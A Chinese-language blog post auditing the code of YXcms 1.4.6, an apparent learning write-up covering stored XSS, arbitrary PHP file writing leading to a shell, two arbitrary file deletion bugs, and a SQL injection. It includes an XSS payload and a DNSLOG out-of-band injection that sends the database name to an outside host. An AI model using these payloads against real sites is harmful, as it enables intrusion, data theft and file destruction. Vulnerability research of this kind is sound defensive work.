前言

一次逛博客中,遇到了YXcms,难度不高,适合我这种小白。于是它就成为我的代码审计的第二弹了。

审计过程

首先了解这个cms的目录结构
image.png

  1. data 存放备份数据
  2. protected 网站程序核心文件夹
  3. public 存放cssimagesjsswf等模板公用文件
  4. upload 存放上传文件
  5. .htaccess apache伪静态规则文件
  6. httpd.ini iis伪静态规则文件
  7. index.php 网站入口
  8. robots.txt robots协议
  9. 升级日志.txt 详细升级日志记录文件

然后通过YXcms手册了解YXcms的后台路径等
https://www.kancloud.cn/yongheng/yxcms/308086

前台XSS

image.png
<svg/onload=alert(1)>
image.png

源码分析

\protected\apps\default\controller\columnController.php

  1. public function index()
  2. {
  3. $ename=in($_GET['col']);
  4. if(empty($ename)) throw new Exception('栏目名不能为空~', 404);
  5. $sortinfo=model('sort')->find("ename='{$ename}'",'id,name,ename,path,url,type,deep,method,tplist,keywords,description,extendid');
  6. $path=$sortinfo['path'].','.$sortinfo['id'];
  7. $deep=$sortinfo['deep']+1;
  8. $this->col=$ename;
  9. switch ($sortinfo['type']) {
  10. case 1://文章
  11. $this->newslist($sortinfo,$path,$deep);
  12. break;
  13. case 2://图集
  14. $this->photolist($sortinfo,$path,$deep);
  15. break;
  16. case 3://单页
  17. $this->page($sortinfo,$path,$deep);
  18. break;
  19. case 4://应用
  20. break;
  21. case 5://自定义
  22. break;
  23. case 6://表单
  24. $this->extend($sortinfo,$path,$deep);
  25. break;
  26. default:
  27. throw new Exception('未知的栏目类型~', 404);
  28. break;
  29. }
  30. }
  31. protected function extend($sortinfo,$path,$deep)
  32. {
  33. $tableid=$sortinfo['extendid'];
  34. if(empty($tableid)) $this->error('表单栏目不存在~');
  35. $tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC');
  36. if(empty($tableinfo)) $this->error('自定义表不存在~');
  37. $urls=explode('|', $sortinfo['url']);
  38. // var_dump($tableinfo);
  39. // var_dump($urls);
  40. // exit();
  41. if (!$this->isPost()) {
  42. ...
  43. }else{
  44. session_starts();
  45. $verify=session('verify');
  46. session('verify',null);
  47. if(empty($verify) || $_POST['checkcode']!=$verify) $this->error('验证码错误,请重新输入');
  48. for($i=1;$i<count($tableinfo);$i++){
  49. if(is_array($_POST[$tableinfo[$i]['tableinfo']])){
  50. $data[$tableinfo[$i]['tableinfo']]=in(deletehtml(implode(',',$_POST[$tableinfo[$i]['tableinfo']])));
  51. $data[$tableinfo[$i]['tableinfo']]=$data[$tableinfo[$i]['tableinfo']]?in(deletehtml($data[$tableinfo[$i]['tableinfo']])):'';
  52. }else{
  53. if(strlen($_POST[$tableinfo[$i]['tableinfo']])>65535) $this->error('提交内容超过限制长度~');
  54. $data[$tableinfo[$i]['tableinfo']]=html_in($_POST[$tableinfo[$i]['tableinfo']],true);
  55. }
  56. }
  57. $data['ip']=get_client_ip();
  58. $data['ispass']=0;
  59. $data['addtime']=time();
  60. if(empty($urls[1])) $jump=$_SERVER['HTTP_REFERER'];
  61. else{
  62. $jurl=explode(',',$urls[1]);
  63. if(!empty($jurl[1])){
  64. $arr=explode('/',$jurl[1]);
  65. if(!empty($arr)){
  66. $canshu=array();
  67. foreach ($arr as $vo) {
  68. $val=explode('=',$vo);
  69. $canshu[$val[0]]=$val[1];
  70. }
  71. }
  72. }
  73. $jump=url($jurl[0],$canshu);
  74. }
  75. $mes=$urls[2]?$urls[2]:'提交成功请等待审核~';
  76. if(model('extend')->Extin($tableinfo[0]['tableinfo'],$data)) $this->success($mes,$jump);
  77. else $this->error('提交失败~');
  78. }
  79. }

这里使用两个函数对前端输入进行过滤html_indeletehtml
/protected/include/lib/common.function.php
deletehtml

  1. //去除html js标签
  2. function deletehtml($document) {
  3. $document = trim($document);
  4. if (strlen($document) <= 0)
  5. {
  6. return $document;
  7. }
  8. $search = array ("'<script[^>]*?>.*?</script>'si", // 去掉 javascript
  9. "'<[/!]*?[^<>]*?>'si", // 去掉 HTML 标记
  10. "'([rn])[s]+'", // 去掉空白字符
  11. "'&(quot|#34);'i", // 替换 HTML 实体
  12. "'&(amp|#38);'i",
  13. "'&(lt|#60);'i",
  14. "'&(gt|#62);'i",
  15. "'&(nbsp|#160);'i"
  16. ); // 作为 PHP 代码运行
  17. $replace = array ("",
  18. "",
  19. "\1",
  20. """,
  21. "&",
  22. "<",
  23. ">",
  24. " "
  25. );
  26. return @preg_replace ($search, $replace, $document);
  27. }

注释的很清楚了 ,去除html js标签
html_in
/protected/include/lib/common.function.php

  1. function html_in($str,$filter=false){
  2. if($filter){
  3. $str=RemoveXSS($str);
  4. }
  5. $str=htmlspecialchars($str);
  6. if(!get_magic_quotes_gpc()) {
  7. $str = addslashes($str);
  8. }
  9. return $str;
  10. }

使用函数htmlspecialcharsRemoveXSS对XSS进行过滤。
image.png
RemoveXSS

  1. function RemoveXSS($val) {
  2. // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
  3. // this prevents some character re-spacing such as <javascript>
  4. // note that you have to handle splits with n, r, and t later since they *are* allowed in some inputs
  5. $val = preg_replace('/([x00-x08,x0b-x0c,x0e-x19])/', '', $val);
  6. // straight replacements, the user should never need these since they're normal characters
  7. // this prevents like <IMG SRC=@avascript:alert('XSS')>
  8. $search = 'abcdefghijklmnopqrstuvwxyz';
  9. $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
  10. $search .= '1234567890!@#$%^&*()';
  11. $search .= '~`";:?+/={}[]-_|'\';
  12. for ($i = 0; $i < strlen($search); $i++) {
  13. // ;? matches the ;, which is optional
  14. // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
  15. // @ @ search for the hex values
  16. $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
  17. // @ @ 0{0,7} matches '0' zero to seven times
  18. $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
  19. }
  20. // now the only remaining whitespace attacks are t, n, and r
  21. $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
  22. $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
  23. $ra = array_merge($ra1, $ra2);
  24. $found = true; // keep replacing as long as the previous round replaced something
  25. while ($found == true) {
  26. $val_before = $val;
  27. for ($i = 0; $i < sizeof($ra); $i++) {
  28. $pattern = '/';
  29. for ($j = 0; $j < strlen($ra[$i]); $j++) {
  30. if ($j > 0) {
  31. $pattern .= '(';
  32. $pattern .= '(&#[xX]0{0,8}([9ab]);)';
  33. $pattern .= '|';
  34. $pattern .= '|(&#0{0,8}([9|10|13]);)';
  35. $pattern .= ')*';
  36. }
  37. $pattern .= $ra[$i][$j];
  38. }
  39. $pattern .= '/i';
  40. $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
  41. $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
  42. if ($val_before == $val) {
  43. // no replacements were made, so exit the loop
  44. $found = false;
  45. }
  46. }
  47. }
  48. return $val;
  49. }

过滤一些危险标签,防止出现XSS
通过测试,前端输入的<svg/onload=alert(1)> 在数据库中是:&lt;svg/on&lt;x&gt;load=alert(1)&gt;这样的
然后我们来看从数据库取值的函数
protected/apps/admin/controller/extendfieldController.php

  1. public function mesedit()
  2. {
  3. $tableid=intval($_GET['tabid']);
  4. if(!$this->checkConPower('extend',$tableid)) $this->error('您没有权限管理此独立表内容~');
  5. $id=intval($_GET['id']);//信息id
  6. if(empty($tableid) || empty($id) ) $this->error('参数错误~');
  7. $tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC');
  8. if(empty($tableinfo)) $this->error('自定义表不存在~');
  9. if (!$this->isPost()) {
  10. $info=model('extend')->Extfind($tableinfo[0]['tableinfo'],"id='{$id}'");
  11. // var_dump($info);
  12. // exit();
  13. $this->info=$info;
  14. $this->tableid=$tableid;
  15. $this->id=$id;
  16. $this->tableinfo=$tableinfo;
  17. $this->display();
  18. }else{
  19. for($i=1;$i<count($tableinfo);$i++){
  20. if(is_array($_POST[$tableinfo[$i]['tableinfo']]))
  21. $data[$tableinfo[$i]['tableinfo']]=implode(',',$_POST[$tableinfo[$i]['tableinfo']]);
  22. else
  23. $data[$tableinfo[$i]['tableinfo']]=html_in($_POST[$tableinfo[$i]['tableinfo']]);
  24. }
  25. if(model('extend')->Extup($tableinfo[0]['tableinfo'],"id='{$id}'",$data)) $this->success('修改成功~',url('extendfield/meslist',array('id'=>$tableid)));
  26. else $this->error('信息修改失败~');
  27. }
  28. }

取值就是正常取值,但是接下来的给页面返回代码,就离谱

  1. $cont.='';
  2. for($i=1;$i<count($tableinfo);$i++){
  3. $cont.= '<tr><td align="right">'.$tableinfo[$i]['name'].':</td><td align="left">';
  4. switch ($tableinfo[$i]['type']) {
  5. case 1:
  6. $cont.= '<input type="text" name="'.$tableinfo[$i]['tableinfo'].'" value="'.$info[$tableinfo[$i]['tableinfo']].'">';
  7. break;
  8. case 2:
  9. $cont.= '<textarea name="'.$tableinfo[$i]['tableinfo'].'" style="width:300px !important; height:80px">'.$info[$tableinfo[$i]['tableinfo']].'</textarea>';
  10. break;
  11. case 3:
  12. $cont.= '<textarea class="editori" name="'.$tableinfo[$i]['tableinfo'].'" style="width:100%;height:250px;visibility:hidden;">'.html_out($info[$tableinfo[$i]['tableinfo']]).'</textarea>';
  13. break;
  14. case 4:
  15. $cont.= '<select name="'.$tableinfo[$i]['tableinfo'].'" >';
  16. $chooses=explode("rn",$tableinfo[$i]['defvalue']);
  17. $flog=false;
  18. foreach ($chooses as $vo) {
  19. $vos=explode(",",$vo);
  20. if($info[$tableinfo[$i]['tableinfo']]==$vos[0]) {
  21. $flog=true;
  22. $cont.='<option selected value="'.$vos[0].'">'.$vos[1].'</option>';
  23. }else{
  24. $cont.='<option value="'.$vos[0].'">'.$vos[1].'</option>';
  25. }
  26. }
  27. if(!$flog) $cont.='<option selected value="">=没有选择=</option>';
  28. $cont.= '</select>';
  29. break;
  30. case 5:
  31. $cont.= '<input name="'.$tableinfo[$i]['tableinfo'].'" id="'.$tableinfo[$i]['tableinfo'].'" type="text" value="'.$info[$tableinfo[$i]['tableinfo']].'" />';
  32. $cont.= '<iframe scrolling="no"; frameborder="0" src="'.url("extendfield/file",array('inputName'=>$tableinfo[$i]['tableinfo'])).'" style="width:300px; height:30px;"></iframe>';
  33. break;
  34. case 6:
  35. $chooses=explode("rn",$tableinfo[$i]['defvalue']);
  36. foreach ($chooses as $vo) {
  37. $vos=explode(",",$vo);
  38. $nowval=array();
  39. $nowval=explode(",",$info[$tableinfo[$i]['tableinfo']]);
  40. $cont.= (in_array($vos[0],$nowval))?$vos[1].'<input checked type="checkbox" name="'.$tableinfo[$i]['tableinfo'].'[]" value="'.$vos[0].'" />':$vos[1].'<input type="checkbox" name="'.$tableinfo[$i]['tableinfo'].'[]" value="'.$vos[0].'" /><br>';
  41. }
  42. break;
  43. }
  44. $cont.= '</td></tr>';
  45. }
  46. echo $cont;

只有case 3使用了html_out函数
/protected/include/lib/common.function.php
html_out

  1. function html_out($str){
  2. if(function_exists('htmlspecialchars_decode'))
  3. $str=htmlspecialchars_decode($str);
  4. else
  5. $str=html_entity_decode($str);
  6. $str = stripslashes($str);
  7. return $str;
  8. }

在html代码输出利用htmlspecialchars_decode将特殊的 HTML 实体转换回普通字符,那么上面的被实体化的输入代码又被转化回来了,中间那么多的过滤和转换白用了。 而且case3就是留言板那。

任意PHP文件添加

image.png
新建一个文件
image.png
不需要任何权限,可以直接访问protected/apps/default/view/default/phpinfo.php
image.png

源码分析

protected/apps/admin/controller/setController.php

  1. public function tpadd()
  2. {
  3. $tpfile=$_GET['Mname'];
  4. if(empty($tpfile)) $this->error('非法操作~');
  5. $templepath=BASE_PATH . $this->tpath.$tpfile.'/';
  6. if($this->isPost()){
  7. $filename=trim($_POST['filename']);
  8. $code=stripcslashes($_POST['code']);
  9. if(empty($filename)||empty($code)) $this->error('文件名和内容不能为空');
  10. $filepath=$templepath.$filename.'.php';
  11. if($this->ifillegal($filepath)) {$this->error('非法的文件路径~');exit;}
  12. try{
  13. file_put_contents($filepath, $code);
  14. } catch(Exception $e) {
  15. $this->error('模板文件创建失败!');
  16. }
  17. $this->success('模板文件创建成功!',url('set/tplist',array('Mname'=>$tpfile)));
  18. }else{
  19. $this->tpfile=$tpfile;
  20. $this->display();
  21. }
  22. }

可以看到,我们写入的文件是POST直接传参,而且两个参数均为进行过滤。$filepath=$templepath.$filename.'.php';强行指定文件为php文件。 file_put_contents($filepath, $code);将没有进行过滤的输入的参数直接写入文件中。
通过这个漏洞,我们可以直接getshell。

任意文件删除一

在上传文件管理中,有个删除文件
image.png
我们尝试删除,并且抓包。
在根目录创建一个1.txt
image.png
返回成功,1.txt被成功删除

源码分析

protected/apps/admin/controller/filesController.php

  1. public function del()
  2. {
  3. $dirs=in($_GET['fname']);
  4. $dirs=str_replace(',','/',$dirs);
  5. $dirs=ROOT_PATH.'upload'.$dirs;
  6. if(is_dir($dirs)){del_dir($dirs); echo 1;}
  7. elseif(file_exists($dirs)){
  8. if(unlink($dirs)) echo 1;
  9. }else echo '文件不存在';
  10. }

使用in方法$_GET['fname']进行判断
protected\include\lib\common.function.php

  1. function in($data,$force=false){
  2. if(is_string($data)){
  3. $data=trim(htmlspecialchars($data));//防止被挂马,跨站攻击
  4. if(($force==true)||(!get_magic_quotes_gpc())) {
  5. $data = addslashes($data);//防止sql注入
  6. }
  7. return $data;
  8. } else if(is_array($data)) {
  9. foreach($data as $key=>$value){
  10. $data[$key]=in($value,$force);
  11. }
  12. return $data;
  13. } else {
  14. return $data;
  15. }
  16. }

代码中对传入的数据进行htmlspecialchars和addslashes处理,但是并不会对../进行处理
del_dir 方法
\YXcmsApp1.4.6\protected\include\lib\common.function.php

  1. //遍历删除目录下所有文件
  2. function del_dir($dir,$ifdeldir=true){
  3. if (!is_dir($dir)){
  4. return false;
  5. }
  6. $handle = opendir($dir);
  7. while (($file = readdir($handle)) !== false){
  8. if ($file != "." && $file != ".."){
  9. is_dir("$dir/$file")? del_dir("$dir/$file"):@unlink("$dir/$file");
  10. }
  11. }
  12. if (readdir($handle) == false){
  13. closedir($handle);
  14. if($ifdeldir) @rmdir($dir);
  15. }
  16. return true;
  17. }

对文件进行遍历删除操作。

总管这两个方法,对我们输入的参数没有进行任何过滤,ROOT_PATH.'upload'.$dirs,拼接文件完整路径,使用unlink函数删除文件,参数完全可控,导致任意文件删除。

任意文件删除二

image.png
抓包 ,通过更改参数picname ,达到任意文件删除的目的。
当返回缩略图不存在时,文件已经被删除。
image.png

源码分析

/protected/apps/admin/controller/photoController.php

  1. public function delpic()
  2. {
  3. if(empty($_POST['picname'])) $this->error('参数错误~');
  4. $picname=$_POST['picname'];
  5. $path=$this->uploadpath;
  6. if(file_exists($path.$picname))
  7. @unlink($path.$picname);
  8. else{echo '图片不存在~';return;}
  9. if(file_exists($path.'thumb_'.$picname))
  10. @unlink($path.'thumb_'.$picname);
  11. else {echo '缩略图不存在~';return;}
  12. echo '原图以及缩略图删除成功~';
  13. }

将参数$_POST['picname']赋值给$picname$this->uploadpath上传路径赋值到$path,把$path和$picname连接起来,参数$picname完全可控,导致任意文件删除。

SQL注入

位置:/index.php?r=admin/fragment/index
image.png
bp抓包 会看到传入两个参数
image.pngdelid参数进行修改
select load_file(concat('\\\\',(select database()),'.test.dnslog.link\\abc'))

image.png
但是这里没有回显,需要用DNSLOG辅助查看回显
image.png
这个洞比较鸡肋,因为后台有执行SQL语句的功能

源码分析

\YXcmsApp1.4.6\protected\apps\admin\controller\fragmentController.php

  1. public function del()
  2. {
  3. if(!$this->isPost()){
  4. $id=intval($_GET['id']);
  5. if(empty($id)) $this->error('您没有选择~');
  6. if(model('fragment')->delete("id='$id'"))
  7. echo 1;
  8. else echo '删除失败~';
  9. }else{
  10. if(empty($_POST['delid'])) $this->error('您没有选择~');
  11. $delid=implode(',',$_POST['delid']);
  12. if(model('fragment')->delete('id in ('.$delid.')'))
  13. $this->success('删除成功',url('fragment/index'));
  14. }
  15. }

对于传入的delid变量,首先判断是否存在,然后将逗号和$_POST['delid']通过implode函数链接在一起。调用delete方法继续进行删除。
查看delete方法
\YXcmsApp1.4.6\protected\base\model\model.php

  1. public function delete($condition){
  2. return $this->model->table($this->table, $this->ignoreTablePrefix)->where($condition)->delete();
  3. }

仍有delete方法,我们继续查看
\YXcmsApp1.4.6\protected\include\core\cpModel.class.php

  1. public function delete() {
  2. $table = $this->options['table']; //当前表
  3. $where = $this->_parseCondition(); //条件
  4. if ( empty($where) ) return false; //删除条件为空时,则返回false,避免数据不小心被全部删除
  5. $this->sql = "DELETE FROM $table $where";
  6. $query = $this->db->execute($this->sql);
  7. return $this->db->affectedRows();
  8. }

这里依旧是对$table$where进行赋值 但是这里使用了parseCondition() 查一下
\YXcmsApp1.4.6\protected\include\core\db\cpMysql.class.php

  1. private function _parseCondition() {
  2. $condition = $this->db->parseCondition($this->options);
  3. $this->options['where'] = '';
  4. $this->options['group'] = '';
  5. $this->options['having'] = '';
  6. $this->options['order'] = '';
  7. $this->options['limit'] = '';
  8. $this->options['field'] = '*';
  9. return $condition;
  10. }

这里$this->db->parseCondition($this->options)
查看parseCondition方法

  1. public function parseCondition($options) {
  2. $condition = "";
  3. if(!empty($options['where'])) {
  4. $condition = " WHERE ";
  5. if(is_string($options['where'])) {
  6. $condition .= $options['where'];
  7. } else if(is_array($options['where'])) {
  8. foreach($options['where'] as $key => $value) {
  9. $condition .= " `$key` = " . $this->escape($value) . " AND ";
  10. }
  11. $condition = substr($condition, 0,-4);
  12. } else {
  13. $condition = "";
  14. }
  15. }
  16. if( !empty($options['group']) && is_string($options['group']) ) {
  17. $condition .= " GROUP BY " . $options['group'];
  18. }
  19. if( !empty($options['having']) && is_string($options['having']) ) {
  20. $condition .= " HAVING " . $options['having'];
  21. }
  22. if( !empty($options['order']) && is_string($options['order']) ) {
  23. $condition .= " ORDER BY " . $options['order'];
  24. }
  25. if( !empty($options['limit']) && (is_string($options['limit']) || is_numeric($options['limit'])) ) {
  26. $condition .= " LIMIT " . $options['limit'];
  27. }
  28. if( empty($condition) ) return "";
  29. return $condition;
  30. }

首先如果传递过来的内容不为空,就给condition赋值 WHERE ,如果是字符串的话,直接进行拼接,如果是数组的话,交由escape()方法处理 ,之后基本上都是sql语句的关键词赋值,其中出现escape($value),我们查看一下这个函数。

/protected/include/core/db/cpMysql.class.php

  1. public function escape($value) {
  2. if( isset($this->_readLink) ) {
  3. $link = $this->_readLink;
  4. } elseif( isset($this->_writeLink) ) {
  5. $link = $this->_writeLink;
  6. } else {
  7. $link = $this->_getReadLink();
  8. }
  9. if( is_array($value) ) {
  10. return array_map(array($this, 'escape'), $value);
  11. } else {
  12. if( get_magic_quotes_gpc() ) {
  13. $value = stripslashes($value);
  14. }
  15. return "'" . mysql_real_escape_string($value, $link) . "'";
  16. }

如果传入的是数组,那么回对数组中的每个值进行mysql_real_escape_string处理
image.png
但是因为只进行了特殊字符的处理,对于数字和字符没有进行处理,所以,存在SQL注入。

总结

这次代码审计,只靠我自己是拿不下来的,最后还是参考了P神,p1ump师傅等大牛的博客。即使这样,这个cms 依旧还有一些洞没有复现到位,比如固定会话攻击,这个我一直没有复现出来,就没有写到正文中,如果有哪位师傅了解,还请赐教。

参考

https://www.freebuf.com/column/162886.html
https://xz.aliyun.com/t/5367?page=1#toc-5
https://www.anquanke.com/post/id/204398#h2-14
https://www.leavesongs.com/other/yxcms-vulnerability.html